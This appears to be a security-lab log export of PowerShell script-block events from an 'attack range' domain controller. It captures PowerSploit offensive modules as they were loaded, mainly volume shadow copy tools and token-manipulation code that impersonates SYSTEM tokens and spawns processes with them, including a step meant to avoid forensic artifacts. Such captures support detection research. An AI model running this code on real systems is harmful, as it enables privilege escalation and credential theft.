[String]
$Path,
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String[]]
$DevicePath
)
BEGIN
{
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Validate that the path exists before proceeding
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
# Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
# (i.e. none of the forensic artifacts left with using Add-Type)
$TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([String], [String], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($true))
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32Type = $TypeBuilder.CreateType()
}
PROCESS
{
foreach ($Volume in $DevicePath)
{
$Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
$LinkPath = Join-Path $Path $Matches.LinkName
if (Test-Path $LinkPath)
{
Write-Warning ""'$LinkPath' already exists.""
continue
}
if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, ""$($Volume)\"", 1))
{
Write-Error ""Symbolic link creation failed for '$Volume'.""
continue
}
Get-Item $LinkPath
}
}
END
{
}
}
3182dc68-0c1d-4cbc-b5c4-d2148c3666d5C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\VolumeShadowCopyTools.ps1",,4104,122427,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\VolumeShadowCopyTools.ps1",,,"'5388'",,,,,,122427,,,,"3182dc68-0c1d-4cbc-b5c4-d2148c3666d5","function Get-VolumeShadowCopy
{
<#
.SYNOPSIS
Lists the device paths of all local volume shadow copies.
PowerSploit Function: Get-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
}
function New-VolumeShadowCopy
{
<#
.SYNOPSIS
Creates a new volume shadow copy.
PowerSploit Function: New-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
.PARAMETER Volume
Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
.PARAMETER Context
Context that the provider uses when creating the shadow. The default is ""ClientAccessible"".
.EXAMPLE
New-VolumeShadowCopy -Volume C:\
Description
-----------
Creates a new VolumeShadowCopy of the C drive
#>
Param(
[Parameter(Mandatory = $True)]
[ValidatePattern('^\w:\\')]
[String]
$Volume,
[Parameter(Mandatory = $False)]
[ValidateSet(""ClientAccessible"")]
[String]
$Context = ""ClientAccessible""
)
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Save VSS Service initial state
$running = (Get-Service -Name VSS).Status
$class = [WMICLASS]""root\cimv2:win32_shadowcopy""
$return = $class.create(""$Volume"", ""$Context"")
switch($return.returnvalue)
{
1 {Write-Error ""Access denied.""; break}
2 {Write-Error ""Invalid argument.""; break}
3 {Write-Error ""Specified volume not found.""; break}
4 {Write-Error ""Specified volume not supported.""; break}
5 {Write-Error ""Unsupported shadow copy context.""; break}
6 {Write-Error ""Insufficient storage.""; break}
7 {Write-Error ""Volume is in use.""; break}
8 {Write-Error ""Maximum number of shadow copies reached.""; break}
9 {Write-Error ""Another shadow copy operation is already in progress.""; break}
10 {Write-Error ""Shadow copy provider vetoed the operation.""; break}
11 {Write-Error ""Shadow copy provider not registered.""; break}
12 {Write-Error ""Shadow copy provider failure.""; break}
13 {Write-Error ""Unknown error.""; break}
default {break}
}
# If VSS Service was Stopped at the start, return VSS to ""Stopped"" state
if($running -eq ""Stopped"")
{
Stop-Service -Name VSS
}
}
function Remove-VolumeShadowCopy
{
<#
.SYNOPSIS
Deletes a volume shadow copy.
PowerSploit Function: Remove-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
.PARAMETER InputObject
Specifies the Win32_ShadowCopy object to remove
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Remove-VolumeShadowCopy
Description
-----------
Removes all volume shadow copy
.EXAMPLE
Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
Description
-----------
Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
#>
[CmdletBinding(SupportsShouldProcess = $True)]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String]
$DevicePath
)
PROCESS
{
if($PSCmdlet.ShouldProcess(""The VolumeShadowCopy at DevicePath $DevicePath will be removed""))
{
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
}
}
}
function Mount-VolumeShadowCopy
{
<#
.SYNOPSIS
Mounts a volume shadow copy.
PowerSploit Function: Mount-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
.PARAMETER Path
Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
Description
-----------
Create a mount point in 'C:\VSS' for each volume shadow copy volume
.EXAMPLE
Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
.EXAMPLE
Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
#>
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String[]]
$DevicePath
)
BEGIN
{
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Validate that the path exists before proceeding
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
# Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
# (i.e. none of the forensic artifacts left with using Add-Type)
$TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([String], [String], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($true))
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32Type = $TypeBuilder.CreateType()
}
PROCESS
{
foreach ($Volume in $DevicePath)
{
$Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
$LinkPath = Join-Path $Path $Matches.LinkName
if (Test-Path $LinkPath)
{
Write-Warning ""'$LinkPath' already exists.""
continue
}
if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, ""$($Volume)\"", 1))
{
Write-Error ""Symbolic link creation failed for '$Volume'.""
continue
}
Get-Item $LinkPath
}
}
END
{
}
}",,,,,,,,,,,"'2022-05-02T18:24:37.212011800Z'","4104132150x0122427Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122427Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Get-VolumeShadowCopy
{
<#
.SYNOPSIS
Lists the device paths of all local volume shadow copies.
PowerSploit Function: Get-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
}
function New-VolumeShadowCopy
{
<#
.SYNOPSIS
Creates a new volume shadow copy.
PowerSploit Function: New-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
.PARAMETER Volume
Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
.PARAMETER Context
Context that the provider uses when creating the shadow. The default is ""ClientAccessible"".
.EXAMPLE
New-VolumeShadowCopy -Volume C:\
Description
-----------
Creates a new VolumeShadowCopy of the C drive
#>
Param(
[Parameter(Mandatory = $True)]
[ValidatePattern('^\w:\\')]
[String]
$Volume,
[Parameter(Mandatory = $False)]
[ValidateSet(""ClientAccessible"")]
[String]
$Context = ""ClientAccessible""
)
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Save VSS Service initial state
$running = (Get-Service -Name VSS).Status
$class = [WMICLASS]""root\cimv2:win32_shadowcopy""
$return = $class.create(""$Volume"", ""$Context"")
switch($return.returnvalue)
{
1 {Write-Error ""Access denied.""; break}
2 {Write-Error ""Invalid argument.""; break}
3 {Write-Error ""Specified volume not found.""; break}
4 {Write-Error ""Specified volume not supported.""; break}
5 {Write-Error ""Unsupported shadow copy context.""; break}
6 {Write-Error ""Insufficient storage.""; break}
7 {Write-Error ""Volume is in use.""; break}
8 {Write-Error ""Maximum number of shadow copies reached.""; break}
9 {Write-Error ""Another shadow copy operation is already in progress.""; break}
10 {Write-Error ""Shadow copy provider vetoed the operation.""; break}
11 {Write-Error ""Shadow copy provider not registered.""; break}
12 {Write-Error ""Shadow copy provider failure.""; break}
13 {Write-Error ""Unknown error.""; break}
default {break}
}
# If VSS Service was Stopped at the start, return VSS to ""Stopped"" state
if($running -eq ""Stopped"")
{
Stop-Service -Name VSS
}
}
function Remove-VolumeShadowCopy
{
<#
.SYNOPSIS
Deletes a volume shadow copy.
PowerSploit Function: Remove-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
.PARAMETER InputObject
Specifies the Win32_ShadowCopy object to remove
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Remove-VolumeShadowCopy
Description
-----------
Removes all volume shadow copy
.EXAMPLE
Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
Description
-----------
Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
#>
[CmdletBinding(SupportsShouldProcess = $True)]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String]
$DevicePath
)
PROCESS
{
if($PSCmdlet.ShouldProcess(""The VolumeShadowCopy at DevicePath $DevicePath will be removed""))
{
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
}
}
}
function Mount-VolumeShadowCopy
{
<#
.SYNOPSIS
Mounts a volume shadow copy.
PowerSploit Function: Mount-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
.PARAMETER Path
Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
Description
-----------
Create a mount point in 'C:\VSS' for each volume shadow copy volume
.EXAMPLE
Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
.EXAMPLE
Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
#>
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String[]]
$DevicePath
)
BEGIN
{
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Validate that the path exists before proceeding
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
# Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
# (i.e. none of the forensic artifacts left with using Add-Type)
$TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([String], [String], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($true))
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32Type = $TypeBuilder.CreateType()
}
PROCESS
{
foreach ($Volume in $DevicePath)
{
$Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
$LinkPath = Join-Path $Path $Matches.LinkName
if (Test-Path $LinkPath)
{
Write-Warning ""'$LinkPath' already exists.""
continue
}
if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, ""$($Volume)\"", 1))
{
Write-Error ""Symbolic link creation failed for '$Volume'.""
continue
}
Get-Item $LinkPath
}
}
END
{
}
}
3182dc68-0c1d-4cbc-b5c4-d2148c3666d5C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\VolumeShadowCopyTools.ps1","2022-05-02T18:24:37.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122427,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122427,win,289,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0006-6C5B-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"89uccess)
{
$Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""Failed to ImpersonateLoggedOnUser. Error code: $Errorcode""
}
}
$Success = $CloseHandle.Invoke($NewHToken)
$NewHToken = [IntPtr]::Zero
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode""
}
return $Success
}
function Create-ProcessWithToken
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$hToken,
[Parameter(Position=1, Mandatory=$true)]
[String]
$ProcessName,
[Parameter(Position=2)]
[String]
$ProcessArgs,
[Parameter(Position=3)]
[Switch]
$PassThru
)
Write-Verbose ""Entering Create-ProcessWithToken""
#Duplicate the token so it can be used to create a new process
[IntPtr]$NewHToken = [IntPtr]::Zero
$Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""DuplicateTokenEx failed. ErrorCode: $ErrorCode""
}
else
{
$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""$ProcessName"")
$ProcessArgsPtr = [IntPtr]::Zero
if (-not [String]::IsNullOrEmpty($ProcessArgs))
{
$ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""`""$ProcessName`"" $ProcessArgs"")
}
$FunctionName = """"
if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
{
#Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
#this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
#which is not ideal.
Write-Verbose ""Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token.""
Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
$Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$FunctionName = ""CreateProcessAsUserW""
}
else
{
Write-Verbose ""Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token.""
$Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$FunctionName = ""CreateProcessWithTokenW""
}
if ($Success)
{
#Free the handles returned in the ProcessInfo structure
$ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION)
$CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null
$CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null
#Pass created System.Diagnostics.Process object to pipeline
if ($PassThru) {
#Retrieving created System.Diagnostics.Process object
$returnProcess = Get-Process -Id $ProcessInfo.dwProcessId
#Caching process handle so we don't lose it when the process exits
$null = $returnProcess.Handle
#Passing System.Diagnostics.Process object to pipeline
$returnProcess
}
}
else
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""$FunctionName failed. Error code: $ErrorCode""
}
#Free StartupInfo memory and ProcessInfo memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr)
$StartupInfoPtr = [Intptr]::Zero
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr)
$ProcessInfoPtr = [IntPtr]::Zero
[System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr)
$ProcessNamePtr = [IntPtr]::Zero
#Close handle for the token duplicated with DuplicateTokenEx
$Success = $CloseHandle.Invoke($NewHToken)
$NewHToken = [IntPtr]::Zero
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode""
}
}
}
function Free-AllTokens
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[PSObject[]]
$TokenInfoObjs
)
foreach ($Obj in $TokenInfoObjs)
{
$Success = $CloseHandle.Invoke($Obj.hToken)
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode""
}
$Obj.hToken = [IntPtr]::Zero
}
}
#Enumerate all tokens on the system. Returns an array of objects with the token and information about the token.
function Enum-AllTokens
{
$AllTokens = @()
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$_
}
}
}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
if ($SystemTokenInfo) { break }
}
if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
Write-Warning ""Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens""
}
if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
{
$CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
$SystemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch ""^csrss$"" -and $_.name -inotmatch ""^system$"" -and $_.id -ne 0}
#Get all tokens
foreach ($Process in $ProcessIds)
{
$PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs)
#If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it.
if ($PrimaryTokenInfo -ne $null)
{
[IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken
if ($hToken -ne [IntPtr]::Zero)
{
#Get the LUID corrosponding to the logon
$ReturnObj = Get-TokenInformation -hToken $hToken
if ($ReturnObj -ne $null)
{
$ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id
$AllTokens += $ReturnObj
}
}
else
{
Write-Warning ""Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)""
}
foreach ($Thread in $Process.Threads)
{
$ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id
[IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken)
if ($hToken -ne [IntPtr]::Zero)
{
$ReturnObj = Get-TokenInformation -hToken $hToken
if ($ReturnObj -ne $null)
{
$ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id
$AllTokens += $ReturnObj
}
}
}
}
}
return $AllTokens
}
function Invoke-RevertToSelf
{
Param(
[Parameter(Position=0)]
[Switch]
$ShowOutput
)
$Success = $RevertToSelf.Invoke()
if ($ShowOutput)
{
if ($Success)
{
Write-Output ""RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
else
{
Write-Output ""RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
}
}
#Main function
function Main
{
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator""))
{
Write-Error ""Script must be run as administrator"" -ErrorAction Stop
}
c6e2b348-4ef9-412d-ab1f-52b3ecafb72eC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1",,4104,122416,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,8,9,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1",,,"'5388'",,,,,,122416,,,,"c6e2b348-4ef9-412d-ab1f-52b3ecafb72e","uccess)
{
$Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""Failed to ImpersonateLoggedOnUser. Error code: $Errorcode""
}
}
$Success = $CloseHandle.Invoke($NewHToken)
